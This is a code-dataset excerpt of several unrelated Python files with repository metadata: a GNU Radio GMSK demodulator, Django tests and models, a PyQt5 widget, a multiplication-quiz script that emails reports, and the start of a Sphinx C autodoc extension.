modulation_utils.extract_kwargs_from_options(gmsk_mod.__init__, ('self',), options) # ///////////////////////////////////////////////////////////////////////////// # GMSK demodulator # ///////////////////////////////////////////////////////////////////////////// class gmsk_demod(gr.hier_block2): """ Hierarchical block for Gaussian Minimum Shift Key (GMSK) demodulation. The input is the complex modulated signal at baseband. The output is a stream of bits packed 1 bit per byte (the LSB) Args: samples_per_symbol: samples per baud (integer) gain_mu: controls rate of mu adjustment (float) mu: fractional delay [0.0, 1.0] (float) omega_relative_limit: sets max variation in omega (float) freq_error: bit rate error as a fraction (float) verbose: Print information about modulator? (boolean) log: Print modualtion data to files? (boolean) """ def __init__(self, samples_per_symbol=_def_samples_per_symbol, gain_mu=_def_gain_mu, mu=_def_mu, omega_relative_limit=_def_omega_relative_limit, freq_error=_def_freq_error, verbose=_def_verbose, log=_def_log): gr.hier_block2.__init__(self, "gmsk_demod", gr.io_signature(1, 1, gr.sizeof_gr_complex), # Input signature gr.io_signature(1, 1, gr.sizeof_char)) # Output signature self._samples_per_symbol = samples_per_symbol self._gain_mu = gain_mu self._mu = mu self._omega_relative_limit = omega_relative_limit self._freq_error = freq_error self._differential = False if samples_per_symbol < 2: raise TypeError, "samples_per_symbol >= 2, is %f" % samples_per_symbol self._omega = samples_per_symbol*(1+self._freq_error) if not self._gain_mu: self._gain_mu = 0.175 self._gain_omega = .25 * self._gain_mu * self._gain_mu # critically damped # Demodulate FM sensitivity = (pi / 2) / samples_per_symbol self.fmdemod = analog.quadrature_demod_cf(1.0 / sensitivity) # the clock recovery block tracks the symbol clock and resamples as needed. # the output of the block is a stream of soft symbols (float) self.clock_recovery = digital.clock_recovery_mm_ff(self._omega, self._gain_omega, self._mu, self._gain_mu, self._omega_relative_limit) # slice the floats at 0, outputting 1 bit (the LSB of the output byte) per sample self.slicer = digital.binary_slicer_fb() if verbose: self._print_verbage() if log: self._setup_logging() # Connect & Initialize base class self.connect(self, self.fmdemod, self.clock_recovery, self.slicer, self) def samples_per_symbol(self): return self._samples_per_symbol @staticmethod def bits_per_symbol(self=None): # staticmethod that's also callable on an instance return 1 def _print_verbage(self): print "bits per symbol = %d" % self.bits_per_symbol() print "M&M clock recovery omega = %f" % self._omega print "M&M clock recovery gain mu = %f" % self._gain_mu print "M&M clock recovery mu = %f" % self._mu print "M&M clock recovery omega rel. limit = %f" % self._omega_relative_limit print "frequency error = %f" % self._freq_error def _setup_logging(self): print "Demodulation logging turned on." self.connect(self.fmdemod, blocks.file_sink(gr.sizeof_float, "fmdemod.dat")) self.connect(self.clock_recovery, blocks.file_sink(gr.sizeof_float, "clock_recovery.dat")) self.connect(self.slicer, blocks.file_sink(gr.sizeof_char, "slicer.dat")) @staticmethod def add_options(parser): """ Adds GMSK demodulation-specific options to the standard parser """ parser.add_option("", "--gain-mu", type="float", default=_def_gain_mu, help="M&M clock recovery gain mu [default=%default] (GMSK/PSK)") parser.add_option("", "--mu", type="float", default=_def_mu, help="M&M clock recovery mu [default=%default] (GMSK/PSK)") parser.add_option("", "--omega-relative-limit", type="float", default=_def_omega_relative_limit, help="M&M clock recovery omega relative limit [default=%default] (GMSK/PSK)") parser.add_option("", "--freq-error", type="float", default=_def_freq_error, help="M&M clock recovery frequency error [default=%default] (GMSK)") @staticmethod def extract_kwargs_from_options(options): """ Given command line options, create dictionary suitable for passing to __init__ """ return modulation_utils.extract_kwargs_from_options(gmsk_demod.__init__, ('self',), options) # # Add these to the mod/demod registry # modulation_utils.add_type_1_mod('gmsk', gmsk_mod) modulation_utils.add_type_1_demod('gmsk', gmsk_demod)

37.118056

106

0.628344

1,353

10,690

4.710273

0.22912

0.053664

0.080339

0.025106

0.4563

0.408599

0.336419

0.308489

0.265966

0.199906

0

0.010757

0.260804

10,690

287

107

37.247387

0.795748

0.210009

0

0.333333

0

0.119113

0.003188

0

0.003484

0

null

0

0.048611

null

0.104167

0

null

0

null

0

1

0

1

e7ab9b749df400d1548577100113061652fee1a6

1,237

py

Python

app/core/tests/test_models.py

samkahunga65/recipe-app

9cc20530d9b144d63a732ebb8a882c4574571a58

[ "MIT" ]

null

app/core/tests/test_models.py

samkahunga65/recipe-app

9cc20530d9b144d63a732ebb8a882c4574571a58

[ "MIT" ]

null

app/core/tests/test_models.py

samkahunga65/recipe-app

9cc20530d9b144d63a732ebb8a882c4574571a58

[ "MIT" ]

null

from django.test import TestCase from django.contrib.auth import get_user_model class ModelTests(TestCase): def test_create_user_succesful(self): """test thst creating a new ussful""" email = "samkahunga65@gmail.com" password = "7Alpha11" user = get_user_model().objects.create_user( email=email, password=password ) self.assertEqual(user.email, email) self.assertTrue(user.check_password(password)) def test_new_user_normalise(self): """test that new user email is normalised""" email = 'teest@gmail.COM' user = get_user_model().objects.create_user(email, 'test123') self.assertEqual(user.email, email.lower()) def test_new_user_invalid_email(self): """test if a new user email is invalid""" with self.assertRaises(ValueError): get_user_model().objects.create_user(None, 'test123') def test_new_superuser(self): """Test creating a new superuser""" user = get_user_model().objects.create_superuser( 'test@londonappdev.com', 'test123' ) self.assertTrue(user.is_superuser) self.assertTrue(user.is_staff)

32.552632

69

0.641067

146

1,237

5.232877

0.321918

0.070681

0.078534

0.099476

0.251309

0.175393

0.099476

0

0.015184

0.254648

1,237

38

70

32.552632

0.813449

0.109943

0

0.080481

0.039778

0

0.230769

1

0.153846

false

0.115385

0.076923

0

0.269231

0

null

0

null

0

1

0

1

e7b2e1c4fe302de386156f3fdfc4d005279001ea

5,267

py

Python

gui/loadobservations_widget.py

Varnani/pywd2015-qt5

b4865eeb80f659d8d7cf8f45807ee3e27e8555fb

[ "MIT" ]

7

2020-04-17T16:33:24.000Z

2021-12-28T14:27:53.000Z

gui/loadobservations_widget.py

Varnani/pywd2015-qt5

b4865eeb80f659d8d7cf8f45807ee3e27e8555fb

[ "MIT" ]

null

gui/loadobservations_widget.py

Varnani/pywd2015-qt5

b4865eeb80f659d8d7cf8f45807ee3e27e8555fb

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'loadobservations_widget.ui' # # Created by: PyQt5 UI code generator 5.11.3 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_ObservationWidget(object): def setupUi(self, ObservationWidget): ObservationWidget.setObjectName("ObservationWidget") ObservationWidget.resize(600, 250) ObservationWidget.setMinimumSize(QtCore.QSize(450, 200)) ObservationWidget.setMaximumSize(QtCore.QSize(900, 400)) self.gridLayout = QtWidgets.QGridLayout(ObservationWidget) self.gridLayout.setObjectName("gridLayout") self.plot_btn = QtWidgets.QPushButton(ObservationWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plot_btn.sizePolicy().hasHeightForWidth()) self.plot_btn.setSizePolicy(sizePolicy) self.plot_btn.setObjectName("plot_btn") self.gridLayout.addWidget(self.plot_btn, 5, 0, 1, 1) self.remove_btn = QtWidgets.QPushButton(ObservationWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.remove_btn.sizePolicy().hasHeightForWidth()) self.remove_btn.setSizePolicy(sizePolicy) self.remove_btn.setObjectName("remove_btn") self.gridLayout.addWidget(self.remove_btn, 4, 0, 1, 1) self.edit_btn = QtWidgets.QPushButton(ObservationWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.edit_btn.sizePolicy().hasHeightForWidth()) self.edit_btn.setSizePolicy(sizePolicy) self.edit_btn.setObjectName("edit_btn") self.gridLayout.addWidget(self.edit_btn, 3, 0, 1, 1) self.add_btn = QtWidgets.QPushButton(ObservationWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.add_btn.sizePolicy().hasHeightForWidth()) self.add_btn.setSizePolicy(sizePolicy) self.add_btn.setObjectName("add_btn") self.gridLayout.addWidget(self.add_btn, 2, 0, 1, 1) self.line = QtWidgets.QFrame(ObservationWidget) self.line.setFrameShape(QtWidgets.QFrame.HLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName("line") self.gridLayout.addWidget(self.line, 1, 0, 1, 3) self.label = QtWidgets.QLabel(ObservationWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName("label") self.gridLayout.addWidget(self.label, 0, 0, 1, 3) self.line_2 = QtWidgets.QFrame(ObservationWidget) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName("line_2") self.gridLayout.addWidget(self.line_2, 2, 1, 4, 1) self.curve_treewidget = QtWidgets.QTreeWidget(ObservationWidget) self.curve_treewidget.setFrameShape(QtWidgets.QFrame.StyledPanel) self.curve_treewidget.setIndentation(10) self.curve_treewidget.setExpandsOnDoubleClick(True) self.curve_treewidget.setObjectName("curve_treewidget") self.curve_treewidget.header().setDefaultSectionSize(100) self.curve_treewidget.header().setMinimumSectionSize(50) self.curve_treewidget.header().setStretchLastSection(True) self.gridLayout.addWidget(self.curve_treewidget, 2, 2, 4, 1) self.retranslateUi(ObservationWidget) QtCore.QMetaObject.connectSlotsByName(ObservationWidget) def retranslateUi(self, ObservationWidget): _translate = QtCore.QCoreApplication.translate ObservationWidget.setWindowTitle(_translate("ObservationWidget", "Load Observations")) self.plot_btn.setText(_translate("ObservationWidget", "Plot")) self.remove_btn.setText(_translate("ObservationWidget", "Remove")) self.edit_btn.setText(_translate("ObservationWidget", "Edit")) self.add_btn.setText(_translate("ObservationWidget", "Add")) self.label.setText(_translate("ObservationWidget", "Load or edit observations from files:")) self.curve_treewidget.headerItem().setText(0, _translate("ObservationWidget", "Filename")) self.curve_treewidget.headerItem().setText(1, _translate("ObservationWidget", "Type")) self.curve_treewidget.headerItem().setText(2, _translate("ObservationWidget", "Band"))

56.031915

104

0.734574

523

5,267

7.284895

0.210325

0.07874

0.059843

0.056693

0.386877

0.289764

0.249606

0.225722

0

0.018766

0.160243

5,267

93

105

56.634409

0.842641

0.037403

0

0.17284

1

0

0.065389

0

1

0.024691

false

0

0.012346

0

0.049383

0

null

0

1

0

null

0

1

e7ba6afcd29c252c66c5224bc72ef91b803fd6ff

3,285

py

Python

smida/models.py

dchaplinsky/ragoogle

dccb3d29334c3220ea12c46c725c443c8bd725c0

[ "MIT" ]

3

2018-06-10T21:20:56.000Z

2021-04-04T11:21:06.000Z

smida/models.py

dchaplinsky/ragoogle

dccb3d29334c3220ea12c46c725c443c8bd725c0

[ "MIT" ]

7

2018-08-14T20:54:49.000Z

2020-06-05T18:17:30.000Z

smida/models.py

dchaplinsky/ragoogle

dccb3d29334c3220ea12c46c725c443c8bd725c0

[ "MIT" ]

3

2018-06-27T12:53:13.000Z

2020-09-25T19:41:46.000Z

import logging from django.db import models from django.urls import reverse from abstract.models import AbstractDataset from names_translator.name_utils import ( generate_all_names, autocomplete_suggestions, concat_name, ) from abstract.tools.countries import COUNTRIES from abstract.tools.stocks import STOCK_TYPES from abstract.tools.companies import unify_cyprus_codes, generate_edrpou_options logging.basicConfig(level=logging.WARNING) logger = logging.getLogger("smida") class SmidaModel(AbstractDataset): def get_absolute_url(self): return reverse('smida>details', kwargs={'pk': self.id}) def to_dict(self): dt = self.data res = { "_id": self.pk, "last_updated_from_dataset": self.last_updated_from_dataset, "first_updated_from_dataset": self.first_updated_from_dataset, } names_autocomplete = set() countries = set() companies = generate_edrpou_options(dt["EDRPOU"]) | {dt["emitent_name"]} persons = set() if dt.get("country_code") in COUNTRIES: country = COUNTRIES[dt.get("country_code")] countries = { country["iso2"], country["iso3"], country["country_short_name"], country["country_name"], country["country_name_en"], } res["country_name"] = country["country_short_name"] if dt.get("type_of_stock") in STOCK_TYPES: res["stock_readable"] = STOCK_TYPES[dt["type_of_stock"]]["value"] if dt.get("owner_edrpou") or dt.get("foreign_code"): # Stock owner is a company if dt.get("patronymic"): logger.warning( "Record has both, code {} and patronymic {} set".format( dt.get("owner_edrpou") or dt.get("foreign_code"), dt.get("patronymic"), ) ) companies |= generate_edrpou_options(dt["owner_edrpou"]) companies |= unify_cyprus_codes(dt["foreign_code"]) companies.add(dt["first_name"]) companies.add(dt["last_name"]) res["company_owner"] = { "short_name": dt["first_name"], "full_name": dt["last_name"], "code": dt["owner_edrpou"], "foreign_code": dt["foreign_code"] } else: persons |= generate_all_names( dt["last_name"], dt["first_name"], dt["patronymic"], "Акціонер" ) names_autocomplete |= autocomplete_suggestions( concat_name(dt["last_name"], dt["first_name"], dt["patronymic"]) ) res["person_owner"] = concat_name(dt["last_name"], dt["first_name"], dt["patronymic"]) names_autocomplete |= companies res.update(dt) del res["date_of_report"] res.update( { "companies": list(filter(None, companies)), "countries": list(filter(None, countries)), "persons": list(filter(None, persons)), "names_autocomplete": list(filter(None, names_autocomplete)), } ) return res

33.520408

98

0.571994

344

3,285

5.212209

0.27907

0.033463

0.030675

0.033463

0.139989

0.104294

0.08589

0.047964

0

0.00088

0.308371

3,285

97

99

33.865979

0.788292

0.007306

0

1

0

0.201289

0.015649

0

1

0.025641

false

0

0.102564

0.012821

0.166667

0

null

0

1

0

null

0

1

e7c88489a28ff18baaa2156f3f5c8d2311eb8bce

567

py

Python

tests/unit_tests/test_tethys_config/test_apps.py

msouff/tethys

45795d1e6561d5db8fddd838f4d1ae1d91dbb837

[ "BSD-2-Clause" ]

79

2015-10-05T13:13:28.000Z

2022-02-01T12:30:33.000Z

tests/unit_tests/test_tethys_config/test_apps.py

msouff/tethys

45795d1e6561d5db8fddd838f4d1ae1d91dbb837

[ "BSD-2-Clause" ]

542

2015-08-12T22:11:32.000Z

2022-03-29T22:18:08.000Z

tests/unit_tests/test_tethys_config/test_apps.py

msouff/tethys

45795d1e6561d5db8fddd838f4d1ae1d91dbb837

[ "BSD-2-Clause" ]

71

2016-01-16T01:03:41.000Z

2022-03-31T17:55:54.000Z

import unittest from django.apps import apps from tethys_config.apps import TethysPortalConfig class TethysConfigAppsTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_TethysPortalConfig(self): app_config = apps.get_app_config('tethys_config') name = app_config.name verbose_name = app_config.verbose_name self.assertEqual('tethys_config', name) self.assertEqual('Tethys Portal', verbose_name) self.assertTrue(isinstance(app_config, TethysPortalConfig))

24.652174

67

0.714286

64

567

6.125

0.390625

0.114796

0.056122

0.127551

0

0.209877

567

22

68

25.772727

0.875

0

0.133333

0

0.068783

0

0.2

1

0.2

false

0.133333

0.2

0

0.466667

0

null

0

null

0

1

0

1

e7d01d5596c98267e2d849c7a50050a61e7e8fda

370

py

Python

rooms/urls.py

nahidsaikat/reservation

7b4856b67072f90e2a126cc55c484e0d8bf601d4

[ "MIT" ]

null

rooms/urls.py

nahidsaikat/reservation

7b4856b67072f90e2a126cc55c484e0d8bf601d4

[ "MIT" ]

null

rooms/urls.py

nahidsaikat/reservation

7b4856b67072f90e2a126cc55c484e0d8bf601d4

[ "MIT" ]

null

from django.urls import include, path from rest_framework.routers import DefaultRouter from rooms import views # Create a router and register our viewsets with it. router = DefaultRouter() router.register(r"room", views.RoomViewSet, basename="room") # The API URLs are now determined automatically by the router. urlpatterns = [ path("", include(router.urls)), ]

26.428571

62

0.767568

50

370

5.66

0.66

0

0.143243

370

13

63

28.461538

0.892744

0.3

0

0.03125

0

1

0

false

0

0.375

0

0.375

0

null

0

null

0

1

0

1

e7db8492475b75a00d0010b8cfc1881824df5024

14,511

py

Python

multiplication.py

iAnatoly/multiplication

221d7cd2dd8c2d5ac4440568a4368b5f34f914ac

[ "Apache-2.0" ]

1

2019-04-17T19:17:23.000Z

multiplication.py

iAnatoly/multiplication

221d7cd2dd8c2d5ac4440568a4368b5f34f914ac

[ "Apache-2.0" ]

null

multiplication.py

iAnatoly/multiplication

221d7cd2dd8c2d5ac4440568a4368b5f34f914ac

[ "Apache-2.0" ]

null

#!/usr/bin/python # # This script is free for use and redistribution in educational purposes. # See https://github.com/iAnatoly/multiplication/ for more info. # # email notification configuration is defined in multiplication.config import random import os import sys import smtplib import ConfigParser from email.mime.text import MIMEText from datetime import datetime try: from enum import Enum except ImportError: cmd = "sudo pip install enum34" print "Cannot find enum module; trying to fix - running '{0}'".format(cmd) os.system(cmd) from enum import Enum # # Enums for different modes # class TrainingMode(Enum): Training = 1 Precision = 2 TimeTrial = 3 SPARTA = 4 class TrainingTaskMode(Enum): Multiplication = 1 Division = 2 Square = 3 PowerOfTwo = 4 SquareRoot = 5 LogOfTwo = 6 # # Static input helpers # class InputHelper: @staticmethod def getNumber(message): while True: try: result = int(raw_input(message)) return result except ValueError: print "That is not a number" @staticmethod def getNumberWithDefault(message, default): while True: try: raw_result = raw_input(message + " [default={0}] ".format(default)) if raw_result == '': print "Using default={0}".format(default) return default else: return int(raw_result) except ValueError: print "That is not a number" @staticmethod def getBooleanAnswer(message): while True: result = raw_input(message) if 'yes' in result: return True elif 'no' in result: return False else: print "Please answer 'yes' or 'no'" @staticmethod def boolToYesNo(value): return "yes" if value else "no" @staticmethod def getBooleanAnswerWithDefault(message, default): while True: result = raw_input(message + " [default={0}] ".format(InputHelper.boolToYesNo(default))) if 'yes' in result: return True elif 'no' in result: return False elif result == '': print "Using default={0}".format(InputHelper.boolToYesNo(default)) return default else: print "Please answer 'yes' or 'no'" @staticmethod def getSelection(max): while True: result = InputHelper.getNumber("Please enter your choice: ") if result > 0 and result <= max: return result else: print "Incorrect selection. Expecting a number [1...{0}]".format(max) @staticmethod def getSelectionWithDefault(max, default): while True: result = InputHelper.getNumberWithDefault("Please enter your choice ", default) if result > 0 and result <= max: return result else: print "Incorrect selection. Expecting a number [1...{0}]".format(max) @staticmethod def pause(): hush = raw_input("Press [ENTER] to end the session") @staticmethod def printNoCR(msg): sys.stdout.write(msg) sys.stdout.flush() # # Email helper # class Config: def __init__(self): self.emailNotificationEnabled = False self.sender = '' self.recipients = '' self.smtpserver = 'smtp.gmail.com:587' self.smtptls = True self.smtpuser = '' self.smtppassword = '' class ConfigHelper: @staticmethod def getFileName(): return os.path.dirname(__file__) + "/multiplication.config" @staticmethod def getConfig(): config = Config() try: parser = ConfigParser.ConfigParser() parser.read(ConfigHelper.getFileName()) config.emailNotificationEnabled = parser.getboolean('EmailConfiguration', 'EmailNotificationEnabled') config.smtpserver = parser.get('EmailConfiguration', 'SMTPServer') config.smtptls = parser.getboolean('EmailConfiguration', 'SMTPTLS') config.sender = parser.get('EmailConfiguration', 'sender') config.recipients = parser.get('EmailConfiguration', 'recipients') config.smtpuser = parser.get('EmailConfiguration', 'SMTPUser') config.smtppassword = parser.get('EmailConfiguration', 'SMTPPassword') except Exception as e: print e return config class EmailHelper: def __init__(self, config): self.config = config def prepareMessage(self, result, mode): msg = MIMEText(result, 'plain') msg['Subject'] = '{0} report at {1}'.format(mode, datetime.now()) msg['From'] = "'{0} Report' <{1}>".format(mode, self.config.sender) msg['To'] = self.config.recipients return msg def sendEmail(self, result, mode): try: InputHelper.printNoCR("\nPlease wait - sending report to mom & dad...") server = smtplib.SMTP(self.config.smtpserver) server.set_debuglevel(False) server.ehlo() if self.config.smtptls: server.starttls() server.login(self.config.smtpuser, self.config.smtppassword) InputHelper.printNoCR('.') msg = self.prepareMessage(result, mode) recipients = map(lambda i: i.strip(), self.config.recipients.split(";")) server.sendmail(self.config.sender, recipients, msg.as_string()) InputHelper.printNoCR('.') server.quit() print "done.\n" except Exception as e: print "\nError sending out email: {0}.".format(e) class Answer: def __init__(self, prev1, prev2, mode): self.mode = mode if self.mode == TrainingTaskMode.Multiplication or self.mode == TrainingTaskMode.Division: upperLimit1 = 13 lowerLimit = 1 else: upperLimit1 = 20 lowerLimit = 2 upperLimit2 = 12 self.answer = 0 self.num1 = self.num2 = 0 random.seed() while self.isRepeating(prev1, prev2): self.num2 = random.randrange(lowerLimit, upperLimit2) self.num1 = random.randrange(lowerLimit, upperLimit1) @property def question(self): if self.mode == TrainingTaskMode.Multiplication: return "{0} X {1} = ".format(self.num1, self.num2) elif self.mode == TrainingTaskMode.Division: return "{0} / {1} = ".format(self.num1 * self.num2, self.num1) elif self.mode == TrainingTaskMode.Square: return "{0} ^2 = ".format(self.num1) elif self.mode == TrainingTaskMode.SquareRoot: return "X^2 = {0}; X=".format(self.num1 * self.num1) elif self.mode == TrainingTaskMode.PowerOfTwo: return "2^ {0} = ".format(self.num1) elif self.mode == TrainingTaskMode.LogOfTwo: return "2^X = {0}; X=".format(pow(2, self.num1)) else: raise Exception('unknown mode') @property def questionAnswer(self): return "{0}{1}".format(self.question, self.answer) @property def questionAnswerTiming(self): return "{0}; time taken: {1}.{2}s".format(self.questionAnswer, self.timeTaken.seconds, self.timeTaken.microseconds / 10000) @property def getCorrectnessMessage(self): return "Correct" if self.isCorrect() else "Incorrect" @property def questionAnswerTimingCorrectness(self): return "{0} ({1})".format(self.questionAnswerTiming, self.getCorrectnessMessage) def isRepeating(self, prev1, prev2): for p in prev1: if self.num1 == p: return True for p in prev2: if self.num2 == p: return True return False def askQuestionWithFeedback(self, i): self.askQuestion(i) print "\t" + self.getCorrectnessMessage def askQuestion(self, i): time = datetime.now() self.answer = InputHelper.getNumber("Try #{0}: {1}".format(i, self.question)) self.timeTaken = datetime.now() - time def isCorrect(self): if self.mode == TrainingTaskMode.Multiplication: return self.num1 * self.num2 == self.answer elif self.mode == TrainingTaskMode.Division: return self.num2 == self.answer elif self.mode == TrainingTaskMode.Square: return self.num1 * self.num1 == self.answer elif self.mode == TrainingTaskMode.SquareRoot: return self.num1 == self.answer elif self.mode == TrainingTaskMode.PowerOfTwo: return pow(2, self.num1) == self.answer elif self.mode == TrainingTaskMode.LogOfTwo: return self.num1 == self.answer else: raise Exception('unknown mode') class Session: def __init__(self): self.stats = Stats() self.ttmode = TrainingTaskMode.Multiplication def main(self): self.askUserParameters() self.run() InputHelper.pause() @property def isTimeLimitEnabled(self): return self.modeSelection == TrainingMode.TimeTrial or self.modeSelection == TrainingMode.SPARTA @property def isPrecisionModeEnabled(self): return self.modeSelection == TrainingMode.Precision or self.modeSelection == TrainingMode.SPARTA @property def getMode(self): return self.ttmode.name def askUserParameters(self): print "Please select excercise:\n1: Multiplication;\n2: Division;\n3: Quadrat;\n4: Power of 2\n5: Square root;\n6: Log of 2.\n" self.ttmode = TrainingTaskMode(InputHelper.getSelectionWithDefault(6, 1)) self.stats.tries = InputHelper.getNumberWithDefault("How many tries? [please enter a number] ", self.stats.tries) print "Please select mode:\n1: Training (no time limit, mistakes are allowed);\n2: Precision trial (no time limit, stop after first mistake);\n3: Time trial (time limit, mistakes are allowed);\n4: THIS IS SPARTA (time limit, stop after first error).\n" self.modeSelection = TrainingMode(InputHelper.getSelectionWithDefault(4, 1)) if self.isTimeLimitEnabled: self.timeLimit = InputHelper.getNumberWithDefault("Time limit (seconds)", 180) def run(self): # TODO: move the history tracking into a separate class prev1 = [0] prev2 = [0] self.stats.startTimer() for i in range(0, self.stats.tries): answer = Answer(prev1, prev2, self.ttmode) prev1.insert(0, answer.num1) prev2.insert(0, answer.num2) while len(prev1) > 5: prev1.pop() while len(prev2) > 5: prev2.pop() answer.askQuestionWithFeedback(i + 1) if self.isTimeLimitEnabled: if self.stats.isTimeLimitExceeded(self.timeLimit): print " Out of Time!{0}".format( " THIS IS SPARTA!!! " if self.modeSelection == TrainingMode.SPARTA else "") break self.stats.append(answer) if (not answer.isCorrect()) and self.isPrecisionModeEnabled: break self.stats.stopTimer() result = self.stats.getResults(self.getMode) print result try: mailConfig = ConfigHelper.getConfig() if mailConfig.emailNotificationEnabled: mailSender = EmailHelper(mailConfig) mailSender.sendEmail(result, self.getMode) else: print "Email notification is disabled. Please edit {0} file to enable it.".format( ConfigHelper.getFileName()) except Exception as e: print "Email notification is skipped due to an error {1} or absence of configuration. Please check {0} file.".format( ConfigHelper.getFileName(), e) class Stats: def __init__(self): self.stats = [] self.tries = 100 self.elapsed = 0 self.date = datetime.now() self.timerRunning = False def updateTimer(self): self.elapsed = datetime.now() - self.date def startTimer(self): self.date = datetime.now() self.updateTimer() self.timerRunning = True def stopTimer(self): self.updateTimer() self.timerRunning = False @property def getElapsed(self): if self.timerRunning: self.updateTimer() return self.elapsed def isTimeLimitExceeded(self, limit): return self.getElapsed.seconds >= limit def append(self, answer): self.stats.append(answer) def getResults(self, mode): slow = sorted(self.stats, key=lambda x: x.timeTaken, reverse=True)[:5] errors = filter(lambda x: not x.isCorrect(), self.stats) total = len(self.stats) wrong = len(errors) right = total - wrong result = "\nMode: {0}".format(mode) result += "\nDesired attempts: {0}".format(self.tries) result += "\nActual attempts: {0} ({1}%)".format(total, total * 100 / self.tries) result += "\nTime Taken: {0} minutes {1} seconds ({2} seconds avg per try)".format(self.elapsed.seconds / 60, self.elapsed.seconds % 60, self.elapsed.seconds * 1.0 / total) result += "\nRight: {0}({1}%)".format(right, right * 100 / total if (total > 0) else 0) result += "\nWrong: {0}({1}%)".format(wrong, wrong * 100 / total if (total > 0) else 0) result += "\n\nList of wrong answers:\n" + "\n".join( map(lambda result: "\t" + result.questionAnswerTiming, errors)) result += "\n\nList of slow answers:\n" + "\n".join( map(lambda result: "\t" + result.questionAnswerTimingCorrectness, slow)) return result if __name__ == "__main__": try: session = Session() session.main() except KeyboardInterrupt: print "\nInterrupted"

33.130137

260

0.585142

1,493

14,511

5.659076

0.217683

0.016097

0.039768

0.03314

0.261924

0.207717

0.149604

0.101314

0.0677

0.049237

0

0.018345

0.3088

14,511

437

261

33.20595

0.824028

0.023155

0

0.319527

0

0.008876

0.130518

0.003249

0.005917

0

0.002288

0

null

0.008876

0.029586

null

0.071006

0

null

0

null

0

1

0

1

e7deb1679af25d09e1d50c1052e387e2a3fc381d

26,463

py

Python

src/sphinx_c_autodoc/__init__.py

speedyleion/sphinx-c-doc

65721f7164a463742bc2d0b18a92b2d633a5eb3a

[ "MIT", "Unlicense" ]

7

2020-06-06T06:47:31.000Z

2021-12-12T14:18:08.000Z

src/sphinx_c_autodoc/__init__.py

speedyleion/sphinx-c-doc

65721f7164a463742bc2d0b18a92b2d633a5eb3a

[ "MIT", "Unlicense" ]

15

2020-03-12T01:43:24.000Z

2021-04-21T06:45:13.000Z

src/sphinx_c_autodoc/__init__.py

speedyleion/sphinx-c-doc

65721f7164a463742bc2d0b18a92b2d633a5eb3a

[ "MIT", "Unlicense" ]

1

2021-08-05T20:23:01.000Z

""" sphinx_c_autodoc is a package which provide c source file parsing for sphinx. It is composed of multiple directives and settings: .. rst:directive:: .. c:module:: filename A directive to document a c file. This is similar to :rst:dir:`py:module` except it's for the C domain. This can be used for both c source files as well as c header files. """ import json import os import re from dataclasses import dataclass, field from itertools import groupby from typing import Any, List, Optional, Tuple, Dict from docutils.statemachine import ViewList, StringList from docutils import nodes from sphinx.domains.c import CObject from sphinx.application import Sphinx from sphinx.util import logging from sphinx.util.docstrings import prepare_docstring from sphinx.ext.autodoc import ( Documenter, members_option, bool_option, member_order_option, ) from sphinx.ext.autodoc.directive import DocumenterBridge from sphinx_c_autodoc import loader from sphinx_c_autodoc.domains.c import patch_c_domain # TODO not real fond of this being here in the main c autodoc file, need to # find a way to make it easier to cache the documented files. @dataclass class ViewCodeListing: """ A data structure used for constructing a viewcode source listing. Attributes: raw_listing: The plain text representation of the code. This should be basically the output of file.read(). ast (Dict): A dictionary like representation of the code constructs. See :ref:`developer_notes:Common Terms`. doc_links (Dict): To be used by the consumers, i.e. viewcode. """ raw_listing: str ast: Dict doc_links: Dict = field(default_factory=dict) logger = logging.getLogger(__name__) class CObjectDocumenter(Documenter): # pylint: disable=line-too-long """ A C object autodocument class to work with `autodoc <https://www.sphinx-doc.org/en/master/usage/extensions/autodoc.html#module-sphinx.ext.autodoc>`_ extension for sphinx. """ # pylint: enable=line-too-long domain = "c" # Filler type, this base class isn't used directly directivetype = "object" # must be higher than the AttributeDocumenter, else it will steal the c # objects priority = 11 option_spec = { "members": members_option, "noindex": bool_option, "private-members": bool_option, "member-order": member_order_option, "undoc-members": bool_option, } @classmethod def can_document_member( cls, member: Any, membername: str, isattr: bool, parent: Any ) -> bool: """ Parameters: member (object): The member item to document. This type is specific to the item being processed by autodoc. These classes will only attempt to process :class:`sphinx_c_autodoc.loader.CObjectDocumenter` members. membername (str): The name of the item to document. For example if this is a function then this will be the name of the function, no return types, no arguments. isattr (bool): Is the member an attribute. This is unused for c documenation. parent (object): The parent item of this `member`. Returns: bool: True if this class can document the `member`. """ return ( isinstance(parent, CObjectDocumenter) and member.type == cls.directivetype ) def parse_name(self) -> bool: """Determine what module to import and what attribute to document. .. note:: Sphinx autodoc supports args and return anotation, since this is targeting C and it isn't currently needed, these won't be supported by this implementation. Returns: bool: True if successfully parsed and sets :attr:`modname`, :attr:`objpath`, :attr:`fullname`. False if the signature couldn't be parsed. """ c_autodoc_re = re.compile(r"^([\w\/\\.]+)(::([\w.]+\.)?(\w+))?\s*$") try: match = c_autodoc_re.match(self.name) fullname, 